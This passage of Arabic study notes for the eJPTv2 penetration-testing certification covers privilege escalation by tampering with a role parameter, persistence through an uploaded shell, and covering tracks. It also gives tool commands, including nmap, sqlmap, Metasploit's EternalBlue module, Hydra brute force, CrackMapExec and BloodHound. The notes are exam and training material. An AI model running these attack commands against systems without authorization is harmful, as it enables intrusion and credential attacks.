رفع الصلاحيات لو دخلت بحساب محدود، عن طريق البحث عن نقاط ضعف إضافية في التطبيق — زي تعديل قيمة Cookie أو Parameter بيحدد دور المستخدم (role=user → role=admin).

  1. Maintaining Access:

تثبيت طريقة دخول ثانية بعد الاختراق — زي رفع Shell على السيرفر.

  1. Post-Exploitation:

جمع معلومات إضافية عن التطبيق وقواعد البيانات، باستخدام Burp Suite أو Metasploit.

  1. Covering Tracks & Reporting:

مسح أي أثر، وكتابة تقرير شامل بالثغرات وطرق استغلالها والتوصيات لإصلاحها.

أدوات أساسية الأداة الاستخدام Burp Suite فحص شامل لتطبيقات الويب بموديولات متعددة OWASP ZAP فحص تطبيقات الويب، مفتوح المصدر وسهل الاستخدام SQLMap استغلال ثغرات SQL Injection Nikto فحص الخوادم عن الثغرات المعروفة Postman اختبار الـ APIs والـ Requests/Responses Wappalyzer كشف التقنيات المستخدمة في بناء الموقع Gobuster / Wfuzz اكتشاف الصفحات والمسارات المخفية نصائح مهمة خد إذن رسمي من صاحب التطبيق قبل البدء اجمع معلومات كفاية قبل أي محاولة هجوم اختار الأداة المناسبة لنوع الثغرة اللي بتدور عليها راجع الـ OWASP Top 10 بشكل دوري — بتلخصلك أخطر عشر فئات ثغرات في تطبيقات الويب، ومعظم اللي هتقابله في الامتحان أو في الشغل الحقيقي بيقع تحت واحدة منهم تثبيت الأدوات الأساسية للكورس مرجع سريع لتثبيت واستخدام أهم الأدوات اللي هتحتاجها في الكورس ده:

Nmap

bash

على كالي لينكس: موجودة بشكل افتراضي#

nmap -sS [TARGET_IP] Burp Suite

نزّل النسخة المجانية (Community Edition) من الموقع الرسمي، افتح البرنامج وابدأ من Intruder أو Scanner، وضيف البروكسي بتاعه في المتصفح.

OWASP ZAP

نزّل النسخة المناسبة لنظامك، افتح البرنامج واستخدم Quick Start لفحص أي تطبيق ويب، وضيف البروكسي في المتصفح.

SQLMap

bash

على كالي لينكس#

sudo apt install sqlmap bash python sqlmap.py -u “http://example.com/vuln.php?id=1” —dbs Nikto

bash

على كالي لينكس#

sudo apt install nikto bash perl nikto.pl -h http://example.com Metasploit Framework

bash

موجودة جاهزة على كالي لينكس#

msfconsole text use exploit/windows/smb/ms17_010_eternalblue Hydra

bash

على كالي لينكس#

sudo apt install hydra bash hydra -l username -P passwords.txt ftp://target_ip Wireshark

bash

على كالي لينكس#

sudo apt install wireshark افتح البرنامج، اختار واجهة الشبكة، وابدأ التقاط البيانات.

Postman

نزّل النسخة المناسبة من الموقع الرسمي، استخدمه لاختبار الـ APIs عن طريق إدخال الـ URL وتجربة الـ Requests المختلفة.

Gobuster

bash

على كالي لينكس#

sudo apt install gobuster bash gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt CrackMapExec

bash pip3 install crackmapexec bash crackmapexec smb 192.168.1.0/24 -u username -p password BloodHound

bash sudo apt install bloodhound بعد التثبيت، بتحتاج تشغّل SharpHound (Collector) على بيئة الـ Active Directory الهدف لجمع البيانات، بعدين تستوردها في واجهة BloodHound الرسومية عشان تشوف العلاقات والمسارات بين الحسابات.

الخلاصة كدا غطينا كل أجزاء الكورس بالتفصيل — من أول Engagement لحد كتابة التقرير النهائي، مرورًا بكل مرحلة من مراحل جمع المعلومات، الفحص، الـ Enumeration، تقييم الثغرات، تدقيق الشبكات، واختبار اختراق الشبكات وتطبيقات الويب.

eJPTv2 Study Notes
https://bad-glitch.github.io/posts/courses-notes/ejptv2---notes/ejpt-notes/
Author
Amr Abdel Hamide
Published at
2026-09-07